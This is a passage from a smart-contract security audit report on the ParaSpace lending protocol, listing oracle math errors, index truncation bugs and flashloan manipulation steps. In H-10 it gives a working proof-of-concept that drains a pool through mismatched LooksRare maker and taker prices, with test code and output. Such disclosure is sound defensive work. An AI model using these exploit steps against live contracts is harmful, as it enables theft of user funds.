As a result, in the case of token1Decimal > token0Decimal, the getAmountsForLiquidity() is going to return a huge value for the amount of token0 and token1 as the user position liquidity.
The getTokenPrice(), using this amount of liquidity to calculate the token price is as its turn going to return a huge value.
Proof of Concept
This POC demonstrates in which case the returned squared root price of the position is over inflated
// SPDX-License-Identifier: UNLISENCED
pragma solidity 0.8.10;
import {SqrtLib} from "../contracts/dependencies/math/SqrtLib.sol";
import "forge-std/Test.sol";
contract Audit is Test {
function testSqrtPriceX96() public {
// ok
uint160 price1 = getSqrtPriceX96(1e18, 5 * 1e18, 18, 18);
// ok
uint160 price2 = getSqrtPriceX96(1e18, 5 * 1e18, 18, 9);
// Has an over-inflated squared root price by 9 magnitudes as token0Decimal < token1Decimal
uint160 price3 = getSqrtPriceX96(1e18, 5 * 1e18, 9, 18);
}
function getSqrtPriceX96(
uint256 token0Price,
uint256 token1Price,
uint256 token0Decimal,
uint256 token1Decimal
) private view returns (uint160 sqrtPriceX96) {
if (oracleData.token1Decimal == oracleData.token0Decimal) {
// multiply by 10^18 then divide by 10^9 to preserve price in wei
sqrtPriceX96 = uint160(
(SqrtLib.sqrt(((token0Price * (10**18)) / (token1Price))) *
2**96) / 1E9
);
} else if (token1Decimal > token0Decimal) {
// multiple by 10^(decimalB - decimalA) to preserve price in wei
sqrtPriceX96 = uint160(
(SqrtLib.sqrt(
(token0Price * (10**(18 + token1Decimal - token0Decimal))) /
(token1Price)
) * 2**96) / 1E9
);
} else {
// multiple by 10^(decimalA - decimalB) to preserve price in wei then divide by the same number
sqrtPriceX96 = uint160(
(SqrtLib.sqrt(
(token0Price * (10**(18 + token0Decimal - token1Decimal))) /
(token1Price)
) * 2**96) / 10**(9 + token0Decimal - token1Decimal)
);
}
}
}Recommended Mitigation Steps
if (oracleData.token1Decimal == oracleData.token0Decimal) {
// multiply by 10^18 then divide by 10^9 to preserve price in wei
oracleData.sqrtPriceX96 = uint160(
(SqrtLib.sqrt(
((oracleData.token0Price * (10**18)) /
(oracleData.token1Price))
) * 2**96) / 1E9
);
} else if (oracleData.token1Decimal > oracleData.token0Decimal) {
// multiple by 10^(decimalB - decimalA) to preserve price in wei
oracleData.sqrtPriceX96 = uint160(
(SqrtLib.sqrt(
(oracleData.token0Price *
(10 **
(18 +
oracleData.token1Decimal -
oracleData.token0Decimal))) /
(oracleData.token1Price)
) * 2**96) /
10 **
(9 +
oracleData.token1Decimal -
oracleData.token0Decimal)
);
} else {
// multiple by 10^(decimalA - decimalB) to preserve price in wei then divide by the same number
oracleData.sqrtPriceX96 = uint160(
(SqrtLib.sqrt(
(oracleData.token0Price *
(10 **
(18 +
oracleData.token0Decimal -
oracleData.token1Decimal))) /
(oracleData.token1Price)
) * 2**96) /
10 **
(9 +
oracleData.token0Decimal -
oracleData.token1Decimal)
);
}[H-07] User can pass auction recovery health check easily with flashloan
Submitted by Trust
ParaSpace features an auction mechanism to liquidate user’s NFT holdings and receive fair value. User has the option, before liquidation actually happens but after auction started, to top up their account to above recovery factor (> 1.5 instead of > 1) and use setAuctionValidityTime() to invalidate the auction.
require(
erc721HealthFactor > ps._auctionRecoveryHealthFactor,
Errors.ERC721_HEALTH_FACTOR_NOT_ABOVE_THRESHOLD
);
userConfig.auctionValidityTime = block.timestamp;The issue is that the check validates the account is topped in the moment the TX is executed. Therefore, user may very easily make it appear they have fully recovered by borrowing a large amount of funds, depositing them as collateral, registering auction invalidation, removing the collateral and repaying the flash loan. Reentrancy guards are not effective to prevent this attack because all these actions are done in a sequence, one finishes before the other begins. However, it is clear user cannot immediately finish this attack below liquidation threshold because health factor check will not allow it.
Still, the recovery feature is a very important feature of the protocol and a large part of what makes it unique, which is why I think it is very significant that it can be bypassed.
I am on the fence on whether this should be HIGH or MED level impact, would support judge’s verdict either way.
Impact
User can pass auction recovery health check easily with flashloan.
Proof of Concept
- User places NFT as collateral in the protocol
- User borrows using the NFT as collateral
- NFT price drops and health factor is lower than liquidation threshold
- Auction to sell NFT initiates
- User deposits just enough to be above liquidation threshold
-
User now flashloans 1000 WETH
- supply 1000 WETH to the protocol
- call setAuctionValidityTime(), cancelling the auction
- withdraw the 1000 WETH from the protocol
- pay back the 1000 WETH flashloan
- End result is bypassing of recovery health check
Recommended Mitigation Steps
In order to know user has definitely recovered, implement it as a function which holds the user’s assets for X time (at least 5 minutes), then releases it back to the user and cancelling all their auctions.
I agree with high risk for this. It’s a direct attack on the intended functionality of the protocol that can result in a liquidation delay and potential loss of funds.
[H-08] NFTFloorOracle’s asset and feeder structures can be corrupted
Submitted by hyh, also found by brgltd, minhquanym, Jeiwan, and gzeon
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/NFTFloorOracle.sol#L278-L286
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/NFTFloorOracle.sol#L307-L316
NFTFloorOracle’s _addAsset() and _addFeeder() truncate the assets and feeders arrays indices to 255, both using uint8 index field in the corresponding structures and performing uint8(assets.length - 1) truncation on the new element addition.
2^8 - 1 looks to be too tight as an all time element count limit. It can be realistically surpassed in a couple years time, especially given multi-asset and multi-feeder nature of the protocol. This way this isn’t a theoretical unsafe truncation, but an accounting malfunction that is practically reachable given long enough system lifespan, without any additional requirements as asset/feeder turnaround is a going concern state of the system.
Impact
Once truncation start corrupting the indices the asset/feeder structures will become incorrectly referenced and removal of an element will start to remove another one, permanently breaking up the structures.
This will lead to inability to control these structures and then to Oracle malfunction. This can lead to collateral mispricing. Setting the severity to be medium due to prerequisites.
Proof of Concept
feederPositionMap and assetFeederMap use uint8 indices:
struct FeederRegistrar {
// if asset registered or not
bool registered;
// index in asset list
uint8 index;
// if asset paused,reject the price
bool paused;
// feeder -> PriceInformation
mapping(address => PriceInformation) feederPrice;
}
struct FeederPosition {
// if feeder registered or not
bool registered;
// index in feeder list
uint8 index;
} /// @dev feeder map
// feeder address -> index in feeder list
mapping(address => FeederPosition) private feederPositionMap;
...
/// @dev Original raw value to aggregate with
// the NFT contract address -> FeederRegistrar which contains price from each feeder
mapping(address => FeederRegistrar) public assetFeederMap;On entry removal both assets array length do not decrease:
function _removeAsset(address _asset)
internal
onlyWhenAssetExisted(_asset)
{
uint8 assetIndex = assetFeederMap[_asset].index;
delete assets[assetIndex];
delete assetPriceMap[_asset];
delete assetFeederMap[_asset];
emit AssetRemoved(_asset);
}On the contrary, feeders array is being decreased:
function _removeFeeder(address _feeder)
internal
onlyWhenFeederExisted(_feeder)
{
uint8 feederIndex = feederPositionMap[_feeder].index;
if (feederIndex >= 0 && feeders[feederIndex] == _feeder) {
feeders[feederIndex] = feeders[feeders.length - 1];
feeders.pop();
}
delete feederPositionMap[_feeder];
revokeRole(UPDATER_ROLE, _feeder);
emit FeederRemoved(_feeder);
}I.e. assets array element is set to zero with delete, but not removed from the array.
This means that assets will only grow over time, and will eventually surpass 2^8 - 1 = 255. That’s realistic given that assets here are NFTs, whose variety will increase over time.
Once this happen the truncation will start to corrupt the indices:
function _addAsset(address _asset)
internal
onlyWhenAssetNotExisted(_asset)
{
assetFeederMap[_asset].registered = true;
assets.push(_asset);
assetFeederMap[_asset].index = uint8(assets.length - 1);
emit AssetAdded(_asset);
}This can happen with feeders too, if the count merely surpass 255 with net additions:
function _addFeeder(address _feeder)
internal
onlyWhenFeederNotExisted(_feeder)
{
feeders.push(_feeder);
feederPositionMap[_feeder].index = uint8(feeders.length - 1);
feederPositionMap[_feeder].registered = true;
_setupRole(UPDATER_ROLE, _feeder);
emit FeederAdded(_feeder);
}This will lead to _removeAsset() and _removeFeeder() clearing another assets/feeders as the assetFeederMap[_asset].index and feederPositionMap[_feeder].index become broken being truncated. It will permanently mess the structures.
Recommended Mitigation Steps
As a simplest measure consider increasing the limit to 2^32 - 1:
function _addAsset(address _asset)
internal
onlyWhenAssetNotExisted(_asset)
{
assetFeederMap[_asset].registered = true;
assets.push(_asset);
- assetFeederMap[_asset].index = uint8(assets.length - 1);
+ assetFeederMap[_asset].index = uint32(assets.length - 1);
emit AssetAdded(_asset);
} function _addFeeder(address _feeder)
internal
onlyWhenFeederNotExisted(_feeder)
{
feeders.push(_feeder);
- feederPositionMap[_feeder].index = uint8(feeders.length - 1);
+ feederPositionMap[_feeder].index = uint32(feeders.length - 1);
feederPositionMap[_feeder].registered = true;
_setupRole(UPDATER_ROLE, _feeder);
emit FeederAdded(_feeder);
}struct FeederRegistrar {
// if asset registered or not
bool registered;
// index in asset list
- uint8 index;
+ uint32 index;
// if asset paused,reject the price
bool paused;
// feeder -> PriceInformation
mapping(address => PriceInformation) feederPrice;
}
struct FeederPosition {
// if feeder registered or not
bool registered;
// index in feeder list
- uint8 index;
+ uint32 index;
}Also, consider actually removing assets array element in _removeAsset() via the usual moving of the last element as it’s done in _removeFeeder().
LSDan (judge) increased severity to High
[H-09] UniswapV3 tokens of certain pairs will be wrongly valued, leading to liquidations
Submitted by Trust
UniswapV3OracleWrapper is responsible for price feed of UniswapV3 NFT tokens. Its getTokenPrice() is used by the health check calculation in GenericLogic.
getTokenPrice gets price from the oracle and then uses it to calculate value of its liquidity.
function getTokenPrice(uint256 tokenId) public view returns (uint256) {
UinswapV3PositionData memory positionData = getOnchainPositionData(
tokenId
);
PairOracleData memory oracleData = _getOracleData(positionData);
(uint256 liquidityAmount0, uint256 liquidityAmount1) = LiquidityAmounts
.getAmountsForLiquidity(
oracleData.sqrtPriceX96,
TickMath.getSqrtRatioAtTick(positionData.tickLower),
TickMath.getSqrtRatioAtTick(positionData.tickUpper),
positionData.liquidity
);
(
uint256 feeAmount0,
uint256 feeAmount1
) = getLpFeeAmountFromPositionData(positionData);
return
(((liquidityAmount0 + feeAmount0) * oracleData.token0Price) /
10**oracleData.token0Decimal) +
(((liquidityAmount1 + feeAmount1) * oracleData.token1Price) /
10**oracleData.token1Decimal);
}In _getOracleData, sqrtPriceX96 of the holding is calculated, using square root of token0Price and token1Price, corrected for difference in decimals. In case they have same decimals, this is the calculation:
if (oracleData.token1Decimal == oracleData.token0Decimal) {
// multiply by 10^18 then divide by 10^9 to preserve price in wei
oracleData.sqrtPriceX96 = uint160(
(SqrtLib.sqrt(
((oracleData.token0Price * (10**18)) /
(oracleData.token1Price))
) * 2**96) / 1E9
);The issue is that the inner calculation, could be 0, making the whole expression zero, although price is not.
((oracleData.token0Price * (10**18)) /
(oracleData.token1Price))This expression will be 0 if oracleData.token1Price > token0Price * 10**18. This is not far fetched, as there is massive difference in prices of different ERC20 tokens due to tokenomic models. For example, WETH (18 decimals) is $1300, while BTT (18 decimals) is $0.00000068.
The price is represented using X96 type, so there is plenty of room to fit the price between two tokens of different values. It is just that the number is multiplied by 2**96 too late in the calculation, after the division result is zero.
Back in getTokenPrice, the sqrtPriceX96 parameter which can be zero, is passed to LiquidityAmounts.getAmountsForLiquidity() to get liquidity values. In case price is zero, the liquidity calculator will assume all holdings are amount0, while in reality they could be all amount1, or a combination of the two.
function getAmountsForLiquidity(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0, uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96)
(sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) { <- Always drop here when 0
amount0 = getAmount0ForLiquidity(
sqrtRatioAX96,
sqrtRatioBX96,
liquidity
);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
amount0 = getAmount0ForLiquidity(
sqrtRatioX96,
sqrtRatioBX96,
liquidity
);
amount1 = getAmount1ForLiquidity(
sqrtRatioAX96,
sqrtRatioX96,
liquidity
);
} else {
amount1 = getAmount1ForLiquidity(
sqrtRatioAX96,
sqrtRatioBX96,
liquidity
);
}
}Since amount0 is the lower value between the two, it is easy to see that the calculated liquidity value will be much smaller than it should be, and as a result the entire Uniswapv3 holding is valuated much lower than it should. Ultimately, it will cause liquidation the moment the ratio between some uniswap pair goes over 10**18.
For the sake of completeness, healthFactor is calculated by calculateUserAccountData, which calls _getUserBalanceForUniswapV3, which queries the oracle with _getTokenPrice.
Impact
UniswapV3 tokens of certain pairs will be wrongly valued, leading to liquidations.
Proof of Concept
- Alice deposits a uniswap v3 liquidity token as collateral in ParaSpace (Pair A/B)
- Value of B rises in comparison to A. Now PriceB = PriceA * 10**18
- sqrtPrice resolves to 0, and entire liquidity is taken as A liquidity. In reality, price is between tickUpper and tickLower of the uniswap token. B tokens are not taken into consideration.
- Liquidator Luke initiates liquidation of Alice. Alice may lose her NFT collateral although she has kept her position healthy.
Recommended Mitigation Steps
Multiply by 2**96 before the division operation in sqrtPriceX96 calculation.
[H-10] Attacker can drain pool using executeBuyWithCredit with malicious marketplace payload
Submitted by Trust
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/marketplaces/LooksRareAdapter.sol#L59
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/protocol/libraries/logic/MarketplaceLogic.sol#L397
Paraspace supports leveraged purchases of NFTs through PoolMarketplace entry points. User calls buyWithCredit with marketplace, calldata to be sent to marketplace, and how many tokens to borrow.
function buyWithCredit(
bytes32 marketplaceId,
bytes calldata payload,
DataTypes.Credit calldata credit,
uint16 referralCode
) external payable virtual override nonReentrant {
DataTypes.PoolStorage storage ps = poolStorage();
MarketplaceLogic.executeBuyWithCredit(
marketplaceId,
payload,
credit,
ps,
ADDRESSES_PROVIDER,
referralCode
);
}In executeBuyWithCredit, orders are deserialized from the payload user sent to a DataTypes.OrderInfo structure. Each MarketplaceAdapter is required to fulfil that functionality through getAskOrderInfo:
DataTypes.OrderInfo memory orderInfo = IMarketplace(marketplace.adapter)
.getAskOrderInfo(payload, vars.weth);If we take a look at LooksRareAdapter’s getAskOrderInfo, it will the consideration parameter using only the MakerOrder parameters, without taking into account TakerOrder params
(
OrderTypes.TakerOrder memory takerBid,
OrderTypes.MakerOrder memory makerAsk
) = abi.decode(params, (OrderTypes.TakerOrder, OrderTypes.MakerOrder));
orderInfo.maker = makerAsk.signer;
consideration[0] = ConsiderationItem(
itemType,
token,
0,
makerAsk.price, // TODO: take minPercentageToAsk into account
makerAsk.price,
payable(takerBid.taker)
);The OrderInfo constructed, which contains the consideration item from maker, is used in _delegateToPool, called by _buyWithCredit(), called by executeBuyWithCredit:
for (uint256 i = 0; i < params.orderInfo.consideration.length; i++) {
ConsiderationItem memory item = params.orderInfo.consideration[i];
require(
item.startAmount == item.endAmount,
Errors.INVALID_MARKETPLACE_ORDER
);
require(
item.itemType == ItemType.ERC20 ||
(vars.isETH && item.itemType == ItemType.NATIVE),
Errors.INVALID_ASSET_TYPE
);
require(
item.token == params.credit.token,
Errors.CREDIT_DOES_NOT_MATCH_ORDER
);
price += item.startAmount;
}The total price is charged to msg.sender, and he will pay it with debt tokens + immediate downpayment. After enough funds are transfered to the Pool contract, it delegatecalls to the LooksRare adapter, which will do the actual call to LooksRareExchange. The exchange will send the money gathered in the pool to maker, and give it the NFT.
The issue is that attacker can supply a different price in the MakerOrder and TakerOrder passed as payload to LooksRare. The maker price will be reflected in the registered price charged to user, but taker price will be the one actually transferred from Pool.
To show taker price is what counts, this is the code in LooksRareExchange.sol:
function matchAskWithTakerBid(OrderTypes.TakerOrder calldata takerBid, OrderTypes.MakerOrder calldata makerAsk)
external
override
nonReentrant
{
require((makerAsk.isOrderAsk) && (!takerBid.isOrderAsk), "Order: Wrong sides");
require(msg.sender == takerBid.taker, "Order: Taker must be the sender");
// Check the maker ask order
bytes32 askHash = makerAsk.hash();
_validateOrder(makerAsk, askHash);
(bool isExecutionValid, uint256 tokenId, uint256 amount) = IExecutionStrategy(makerAsk.strategy)
.canExecuteTakerBid(takerBid, makerAsk);
require(isExecutionValid, "Strategy: Execution invalid");
// Update maker ask order status to true (prevents replay)
_isUserOrderNonceExecutedOrCancelled[makerAsk.signer][makerAsk.nonce] = true;
// Execution part 1/2
_transferFeesAndFunds(
makerAsk.strategy,
makerAsk.collection,
tokenId,
makerAsk.currency,
msg.sender,
makerAsk.signer,
takerBid.price, <--- taker price is what's charged
makerAsk.minPercentageToAsk
);
...
}Since attacker will be both maker and taker in this flow, he has no problem in supplying a strategy which will accept higher taker price than maker price. It will pass this check:
(bool isExecutionValid, uint256 tokenId, uint256 amount) = IExecutionStrategy(makerAsk.strategy)
.canExecuteTakerBid(takerBid, makerAsk);It is important to note that for this exploit we can pass a 0 credit loan amount, which allows the stolen asset to be any asset, not just ones supported by the pool. This is because of early return in _borrowTo() and \repay() functions.
The attack POC looks as follows:
- Taker (attacker) has 10 DAI
- Pool has 990 DAI
- Maker (attacker) has 1 doodle NFT.
- Taker submits buyWithCredit() transaction:
- credit amount 0
- TakerOrder with 1000 amount
- MakerOrder with 10 amount and “accept all” execution strategy
- Pool will take the 10 DAI from taker and additional 990 DAI from it’s own funds and send to Maker.
- Attacker ends up with both 1000 DAI and an nToken of the NFT
Impact
Any ERC20 tokens which exist in the pool contract can be drained by an attacker.
Proof of Concept
In _pool_marketplace_buy_wtih_credit.spec.ts, add this test:
it("looksrare attack", async () => {
const {
doodles,
dai,
pool,
users: [maker, taker, middleman],
} = await loadFixture(testEnvFixture);
const payNowNumber = "10";
const poolVictimNumber = "990";
const payNowAmount = await convertToCurrencyDecimals(
dai.address,
payNowNumber
);
const poolVictimAmount = await convertToCurrencyDecimals(
dai.address,
poolVictimNumber
);
const totalAmount = payNowAmount.add(poolVictimAmount);
const nftId = 0;
// mint DAI to offer
// We don't need to give taker any money, he is not charged
// Instead, give the pool money
await mintAndValidate(dai, payNowNumber, taker);
await mintAndValidate(dai, poolVictimNumber, pool);
// middleman supplies DAI to pool to be borrowed by offer later
//await supplyAndValidate(dai, poolVictimNumber, middleman, true);
// maker mint mayc
await mintAndValidate(doodles, "1", maker);
// approve
await waitForTx(
await dai.connect(taker.signer).approve(pool.address, payNowAmount)
);
console.log("maker balance before", await dai.balanceOf(maker.address))
console.log("taker balance before", await dai.balanceOf(taker.address))
console.log("pool balance before", await dai.balanceOf(pool.address))
await executeLooksrareBuyWithCreditAttack(
doodles,
dai,
payNowAmount,
totalAmount,
0,
nftId,
maker,
taker
);In marketplace-helper.ts, please copy in the following attack code:
export async function executeLooksrareBuyWithCreditAttack(
tokenToBuy: MintableERC721 | NToken,
tokenToPayWith: MintableERC20,
makerAmount: BigNumber,
takerAmount: BigNumber,
creditAmount : BigNumberish,
nftId: number,
maker: SignerWithAddress,
taker: SignerWithAddress
) {
const signer = DRE.ethers.provider.getSigner(maker.address);
const chainId = await maker.signer.getChainId();
const nonce = await maker.signer.getTransactionCount();
// approve
await waitForTx(
await tokenToBuy
.connect(maker.signer)
.approve((await getTransferManagerERC721()).address, nftId)
);
const now = Math.floor(Date.now() / 1000);
const paramsValue = [];
const makerOrder: MakerOrder = {
isOrderAsk: true,
signer: maker.address,
collection: tokenToBuy.address,
// Listed Maker price not includes payLater amount which is stolen
price: makerAmount,
tokenId: nftId,
amount: "1",
strategy: (await getStrategyStandardSaleForFixedPrice()).address,
currency: tokenToPayWith.address,
nonce: nonce,
startTime: now - 86400,
endTime: now + 86400, // 2 days validity
minPercentageToAsk: 7500,
params: paramsValue,
};
const looksRareExchange = await getLooksRareExchange();
const {domain, value, type} = generateMakerOrderTypedData(
maker.address,
chainId,
makerOrder,
looksRareExchange.address
);
const signatureHash = await signer._signTypedData(domain, type, value);
const makerOrderWithSignature: MakerOrderWithSignature = {
...makerOrder,
signature: signatureHash,
};
const vrs = DRE.ethers.utils.splitSignature(
makerOrderWithSignature.signature
);
const makerOrderWithVRS: MakerOrderWithVRS = {
...makerOrderWithSignature,
...vrs,
};
const pool = await getPoolProxy();
const takerOrder: TakerOrder = {
isOrderAsk: false,
taker: pool.address,
price: takerAmount,
tokenId: makerOrderWithSignature.tokenId,
minPercentageToAsk: 7500,
params: paramsValue,
};
const encodedData = looksRareExchange.interface.encodeFunctionData(
"matchAskWithTakerBid",
[takerOrder, makerOrderWithVRS]
);
const tx = pool.connect(taker.signer).buyWithCredit(
LOOKSRARE_ID,
`0x${encodedData.slice(10)}`,
{
token: tokenToPayWith.address,
amount: creditAmount,
orderId: constants.HashZero,
v: 0,
r: constants.HashZero,
s: constants.HashZero,
},
0,
{
gasLimit: 5000000,
}
);
await (await tx).wait();
}Finally, we need to change the passed execution strategy. In StrategyStandardSaleForFixedPrice.sol, change canExecuteTakerBid:
function canExecuteTakerBid(OrderTypes.TakerOrder calldata takerBid, OrderTypes.MakerOrder calldata makerAsk)
external
view
override
returns (
bool,
uint256,
uint256
)
{
return (
//((makerAsk.price == takerBid.price) &&
// (makerAsk.tokenId == takerBid.tokenId) &&
// (makerAsk.startTime <= block.timestamp) &&
// (makerAsk.endTime >= block.timestamp)),
true,
makerAsk.tokenId,
makerAsk.amount
);
}We can see the output:
maker balance before BigNumber { value: "0" }
taker balance before BigNumber { value: "10000000000000000000" }
pool balance before BigNumber { value: "990000000000000000000" }
maker balance after BigNumber { value: "1000000000000000000000" }
taker balance after BigNumber { value: "0" }
pool balance after BigNumber { value: "0" }
Leveraged Buy - Positive tests
✔ looksrare attack (34857ms)
1 passing (54s)Recommended Mitigation Steps
It is important to validate that the price charged to user is the same price taken from the Pool contract:
// In LooksRareAdapter's getAskOrderInfo:
require(makerAsk.price, takerBid.price)Medium Risk Findings (24)
[M-01] Semi-erroneous Median Value
Submitted by RaymondFam
In NFTFloorOracle.sol, _combine() returns a validated medianPrice on line 429 after having validPriceList sorted in ascending order.
It will return a correct median as along as the array entails an odd number of valid prices. However, if there were an even number of valid prices, the median was supposed to be the average of the two middle values according to the median formula below:
Median Formula
= ordered list of values in data set
= number of values in data set
The impact could be significant in edge cases and affect all function calls dependent on the finalized twap.
Proof of Concept
Let’s assume there are four valid ether prices each of which is 1.5 times more than the previous one:
validPriceList = [1000, 1500, 2250, 3375]
Instead of returning (1500 + 2250) / 2 = 1875, 2250 is returned, incurring a 20% increment or 120 price deviation.
Recommended Mitigation Steps
Consider having line 429 refactored as follows:
if (validNum % 2 != 0) {
return (true, validPriceList[validNum / 2]);
}
else
return (true, (validPriceList[validNum / 2] + validPriceList[(validNum / 2) - 1]) / 2); [M-02] Value can be stuck in Adapters
Submitted by gzeon, also found by ayeslick and Dravee
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/marketplaces/LooksRareAdapter.sol#L73-L94
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/marketplaces/SeaportAdapter.sol#L93-L107
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/marketplaces/X2Y2Adapter.sol#L88-L102
matchAskWithTakerBid is payable, it calls functionCallWithValue with the value parameter. There are no checks to make sure msg.value == value\, if excess value is sent user will not receive a refund.
Proof of Concept
function matchAskWithTakerBid(
address marketplace,
bytes calldata params,
uint256 value
) external payable override returns (bytes memory) {
bytes4 selector;
if (value == 0) {
selector = ILooksRareExchange.matchAskWithTakerBid.selector;
} else {
selector = ILooksRareExchange
.matchAskWithTakerBidUsingETHAndWETH
.selector;
}
bytes memory data = abi.encodePacked(selector, params);
return
Address.functionCallWithValue(
marketplace,
data,
value,
Errors.CALL_MARKETPLACE_FAILED
);
}Same code exists in LooksRareAdapter, SeaportAdapter, and X2Y2Adapter.
Recommended Mitigation Steps
Check msg.value == value
If the function is only supposed to be delegate called into, consider adding a check to prevent direct call.
[M-03] safeTransfer is not implemented correctly
Submitted by csanuragjain, also found by joestakey, eierina, unforgiven, and Lambda
The safeTransfer function Safely transfers tokenId token from from to to, checking first that contract recipients are aware of the ERC721 protocol to prevent tokens from being forever locked. But seems like this safety check got missed in the _safeTransfer function leading to non secure ERC721 transfers
Proof of Concept
- User calls the
safeTransferFromfunction (Using NToken contract which implements MintableIncentivizedERC721 contract)
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) external virtual override nonReentrant {
_safeTransferFrom(from, to, tokenId, _data);
}- This makes an internal call to _safeTransferFrom -> _safeTransfer -> _transfer
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) external virtual override nonReentrant {
_safeTransferFrom(from, to, tokenId, _data);
}
function _safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory
) internal virtual {
_transfer(from, to, tokenId);
}- Now lets see
_transferfunction
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
MintableERC721Logic.executeTransfer(
_ERC721Data,
POOL,
ATOMIC_PRICING,
from,
to,
tokenId
);
}- This is calling
MintableERC721Logic.executeTransferwhich simply transfers the asset - In this full flow there is no check to see whether
toaddress can support ERC721 which fails the purpose ofsafeTransferFromfunction - Also notice the comment mentions that
dataparameter passed in safeTransferFrom is sent to recipient in call but there is no such transfer ofdata
Recommended Mitigation Steps
Add a call to onERC721Received for recipient and see if the recipient actually supports ERC721.
WalidOfNow (Paraspace) commented via duplicate issue #51:
This is by design. We want to avoid re-entrancy to our contracts and so we removed calling the hook.
[M-04] Fallback oracle is using spot price in Uniswap liquidity pool, which is very vulnerable to flashloan price manipulation
Submitted by ladboy233, also found by __141345__, R2, Kong, mahdikarimi, and Lambda
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/ParaSpaceOracle.sol#L131
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/ParaSpaceFallbackOracle.sol#L56
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/ParaSpaceFallbackOracle.sol#L78
Fallback oracle is using spot price in Uniswap liquidity pool, which is very vulnerable to flashloan price manipulation. Hacker can use flashloan to distort the price and overborrow or perform malicious liqudiation.
Proof of Concept
In the current implementation of the paraspace oracle, if the paraspace oracle has issue, the fallback oracle is used for ERC20 token.
/// @inheritdoc IPriceOracleGetter
function getAssetPrice(address asset)
public
view
override
returns (uint256)
{
if (asset == BASE_CURRENCY) {
return BASE_CURRENCY_UNIT;
}
uint256 price = 0;
IEACAggregatorProxy source = IEACAggregatorProxy(assetsSources[asset]);
if (address(source) != address(0)) {
price = uint256(source.latestAnswer());
}
if (price == 0 && address(_fallbackOracle) != address(0)) {
price = _fallbackOracle.getAssetPrice(asset);
}
require(price != 0, Errors.ORACLE_PRICE_NOT_READY);
return price;
}which calls:
price = _fallbackOracle.getAssetPrice(asset);whch use the spot price from Uniswap V2.
address pairAddress = IUniswapV2Factory(UNISWAP_FACTORY).getPair(
WETH,
asset
);
require(pairAddress != address(0x00), "pair not found");
IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);
(uint256 left, uint256 right, ) = pair.getReserves();
(uint256 tokenReserves, uint256 ethReserves) = (asset < WETH)
? (left, right)
: (right, left);
uint8 decimals = ERC20(asset).decimals();
//returns price in 18 decimals
return
IUniswapV2Router01(UNISWAP_ROUTER).getAmountOut(
10**decimals,
tokenReserves,
ethReserves
);and
function getEthUsdPrice() public view returns (uint256) {
address pairAddress = IUniswapV2Factory(UNISWAP_FACTORY).getPair(
USDC,
WETH
);
require(pairAddress != address(0x00), "pair not found");
IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);
(uint256 left, uint256 right, ) = pair.getReserves();
(uint256 usdcReserves, uint256 ethReserves) = (USDC < WETH)
? (left, right)
: (right, left);
uint8 ethDecimals = ERC20(WETH).decimals();
//uint8 usdcDecimals = ERC20(USDC).decimals();
//returns price in 6 decimals
return
IUniswapV2Router01(UNISWAP_ROUTER).getAmountOut(
10**ethDecimals,
ethReserves,
usdcReserves
);
}Using flashloan to distort and manipulate the price is very damaging technique.
Consider the POC below.
- the User uses 10000 amount of tokenA as collateral, each token A worth 1 USD according to the paraspace oracle. the user borrow 3 ETH, the price of ETH is 1200 USD.
- the paraspace oracle went down, the fallback price oracle is used, the user use borrows flashloan to distort the price of the tokenA in Uniswap pool from 1 USD to 10000 USD.
- the user’s collateral position worth 1000 token X 10000 USD, and borrow 1000 ETH.
- User repay the flashloan using the overborrowed amount and recover the price of the tokenA in Uniswap liqudity pool to 1 USD, leaving bad debt and insolvent position in Paraspace.
Recommended Mitigation Steps
We recommend the project does not use the spot price in Uniswap V2, if the paraspace is down, it is safe to just revert the transaction.
[M-05] Front-running admin setPrice call allows a single compromised oracle to set any price, allowing the oracle manipulator to drain all protocol funds
Submitted by carlitox477, also found by Rolezn, Jeiwan, imare, __141345__, 0xDave, and nicobevi
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/NFTFloorOracle.sol#L195-L216
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/NFTFloorOracle.sol#L356-L364
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/NFTFloorOracle.sol#L402-L407
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/NFTFloorOracle.sol#L376-L386
